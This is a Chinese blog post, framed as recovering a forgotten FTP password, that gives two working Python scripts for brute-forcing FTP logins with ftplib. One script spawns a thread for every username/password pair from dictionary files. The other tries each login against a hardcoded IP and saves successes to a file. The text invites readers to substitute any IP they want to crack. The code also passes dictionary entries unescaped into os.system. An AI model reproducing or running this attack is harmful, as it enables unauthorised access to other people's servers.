忘记ftp密码使用python ftplib库暴力破解密码的方法示例


Posted in Python onJanuary 22, 2014

python具体强大的库文件,很多功能都有相应的库文件,所以很有必要进行学习一下,其中有一个ftp相应的库文件ftplib,我们只需要其中的登录功能,然后利用多线程调用相应字典里面的字段进行登录,还能根据自己的需要,根据自身的情况编写需要的程序,让程序代替我们去做一些枯燥的重复工作。

下面直接上代码,下面是主文件

import os 
import time 
import threading 
class mythread(threading.Thread): 
def __init__(self,command): 
threading.Thread.__init__(self) 
self.command=command 
def run(self): 
kk=os.system(self.command) 
ushand=open(“user.txt”,”r”) 
pshand=open(“passwd.txt”,”r”) 
listuser=[] 
listpass=[] 
for us in open(“user.txt”,”r”): 
lineus=ushand.readline().strip(‘\n') 
listuser.append(lineus) 
for ps in open(“passwd.txt”,”r”): 
lineps=pshand.readline().strip(‘\n') 
listpass.append(lineps) 
for i in listuser: 
for j in listpass: 
command=”ftp.py %s %s” %(i,j) 
print command 
my_thread=mythread(command) 
my_thread.start() 
time.sleep(0.1)

相应的ftp.py文件里面的代码如下

import ftplib 
import socket 
import sys 
ftp=ftplib.FTP('121.54.175.204′) 
try: 
user=sys.argv[1] 
passwd=sys.argv[2] 
ftp.login(user,passwd) 
hand=open(‘aa.txt','a+') 
hand.write(user+”:”+passwd+”\n”) 
except ftplib.error_perm: 
print “passwd is world”

需要两个文件,分别是user.txt和passwd.txt,这两个分别是用户名和账户的字典。

代码其中的ftp破解IP可以自己修改成自己要破解的IP,最后正确的帐号和密码会输入到aa.txt文件中。

Python 相关文章推荐
python调用短信猫控件实现发短信功能实例
Jul 04 Python
python实现TCP服务器端与客户端的方法详解
Apr 30 Python
Python基础教程之正则表达式基本语法以及re模块
Mar 25 Python
在阿里云服务器上配置CentOS+Nginx+Python+Flask环境
Jun 18 Python
python2 与python3的print区别小结
Jan 16 Python
python pandas库的安装和创建
Jan 10 Python
Python学习笔记之自定义函数用法详解
Jun 08 Python
python垃圾回收机制(GC)原理解析
Dec 30 Python
使用Keras训练好的.h5模型来测试一个实例
Jul 06 Python
Python gevent协程切换实现详解
Sep 14 Python
Pycharm添加虚拟解释器报错问题解决方案
Oct 13 Python
详解python3 GUI刷屏器(附源码)
Feb 18 Python
使用python的chardet库获得文件编码并修改编码
Jan 22 #Python
使用go和python递归删除.ds store文件的方法
Jan 22 #Python
python学习手册中的python多态示例代码
Jan 21 #Python
python pdb调试方法分享
Jan 21 #Python
python发送邮件接收邮件示例分享
Jan 21 #Python
python逐行读取文件内容的三种方法
Jan 20 #Python
c++生成dll使用python调用dll的方法
Jan 20 #Python
You might like
将数字格式的计算结果转为汉字格式
2006/10/09 PHP
PHP中常用数组处理方法实例分析
2008/08/30 PHP
用PHP实现读取和编写XML DOM代码
2010/04/07 PHP
PHP实现登录搜狐广告获取广告联盟数据的方法【附demo源码】
2016/10/14 PHP
javascript Array.prototype.slice的使用示例
2013/11/14 Javascript
javascript移动设备Web开发中对touch事件的封装实例
2014/06/05 Javascript
Javascript基础教程之函数对象和属性
2015/01/18 Javascript
【JS+CSS3】实现带预览图幻灯片效果的示例代码
2016/03/17 Javascript
JavaScript驾驭网页-CSS与DOM
2016/03/24 Javascript
jquery网页日历显示控件calendar3.1使用详解
2016/11/24 Javascript
正则 js分转元带千分符号详解
2017/03/08 Javascript
微信JSSDK调用微信扫一扫功能的方法
2017/07/25 Javascript
JavaScript 异步调用
2017/10/25 Javascript
node中使用es6/7/8(支持性与性能)
2019/03/28 Javascript
Vue中UI组件库之Vuex与虚拟服务器初识
2019/05/07 Javascript
JavaScript实现旋转木马轮播图
2020/03/16 Javascript
Python中的测试模块unittest和doctest的使用教程
2015/04/14 Python
浅谈Python的文件类型
2016/05/30 Python
在python中使用正则表达式查找可嵌套字符串组
2017/10/24 Python
python利用标准库如何获取本地IP示例详解
2017/11/01 Python
python处理数据,存进hive表的方法
2018/07/04 Python
Python实现的网页截图功能【PyQt4与selenium组件】
2018/07/12 Python
详解Python Matplot中文显示完美解决方案
2019/03/07 Python
PyQt4编程之让状态栏显示信息的方法
2019/06/18 Python
Python帮你识破双11的套路
2019/11/11 Python
Python pandas RFM模型应用实例详解
2019/11/20 Python
详解Python实现进度条的4种方式
2020/01/15 Python
Tensorflow获取张量Tensor的具体维数实例
2020/01/19 Python
python3中sorted函数里cmp参数改变详解
2020/03/12 Python
在Python中实现字典反转案例
2020/12/05 Python
一款纯css3实现的圆形旋转分享按钮旋转角度可自己调整
2014/09/02 HTML / CSS
利用CSS3伪元素实现逐渐发光的方格边框
2017/05/07 HTML / CSS
canvas画图被放大且模糊的解决方法
2020/08/11 HTML / CSS
致跳远运动员加油稿
2014/02/11 职场文书
离婚代理词范文
2015/05/23 职场文书
安全教育的主题班会
2015/08/13 职场文书